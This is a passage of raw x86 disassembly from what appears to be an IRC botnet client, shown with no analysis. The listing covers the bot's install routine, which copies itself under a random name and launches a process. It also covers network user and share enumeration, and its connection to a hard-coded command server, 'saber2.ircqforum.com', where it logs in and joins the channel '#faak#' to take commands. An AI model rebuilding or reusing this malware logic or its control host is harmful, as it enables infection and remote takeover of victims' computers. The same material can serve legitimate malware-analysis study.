sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43AE28 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43AE28 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_43F408 call sub_4172B0 pop ecx mov eax, offset dword_43F408 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27E0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43ADA8 test eax, eax jnz short loc_40E67B mov esi, offset dword_43F204 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_43F204 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CD5F0, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43AE44 push 7530h push offset aBotid ; "botid" push ebx push ebx nop call near ptr 27F038Dh push eax nop call near ptr 2670A57h cmp eax, 102h jnz short loc_40E726 push 1 nop call near ptr 77E75CB5h loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43AD10 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2640000h lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2740D6Eh nop push eax call near ptr 2680000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F678 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F678[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26B0365h cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 279118Dh loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 call near ptr 2670ADCh nop cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h call near ptr 2630F90h nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 279118Dh push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_436EDC mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi nop call near ptr 27E0DAEh push eax push esi push 100000h nop call near ptr 2740795h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_42F7F0 push eax call sub_4172B0 add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2780B1Eh test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 2630F90h push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43ACF8 push ebx nop call near ptr 77E75CB5h loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_4CD9D0, 2 jle short loc_40E9D8 mov eax, dword_4CD9D4 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 2670A57h nop push esi nop call near ptr 2651922h mov eax, dword_4CD9D4 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h nop call near ptr 2630F90h mov eax, dword_4CD9D4 push dword ptr [eax+8] call near ptr 27E0D27h nop loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43AE68, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_42F7C8 push eax call sub_4172B0 push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5C lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_43FA70 call sub_417330 call sub_41730C push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_4CD5FC mov dword_4CD770, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_4CD67C push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh mov esi, offset dword_4CD6BC push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_4CD750, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43AE80, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43ACDC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_4CD5F8 mov dword_4CD76C, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_4CD76C, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j call near ptr 2630F90h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber2_ircqfor ; "saber2.ircqforum.com" push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F654, bl jz loc_40EA83 push 7Fh push offset byte_42F654 push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F25 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43ACF8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43AD98 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_4CD760 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_440808 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43AE18 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4407FC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43AE30 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j call near ptr 2630F90h nop jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_42F7FC call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43AE30 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_4CD768, bl jz short loc_40ED3F push offset byte_4CD768 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43AE30 push 1388h call near ptr 2630F90h nop loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h call near ptr 2630F90h nop jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_432E88 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_432E84 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; 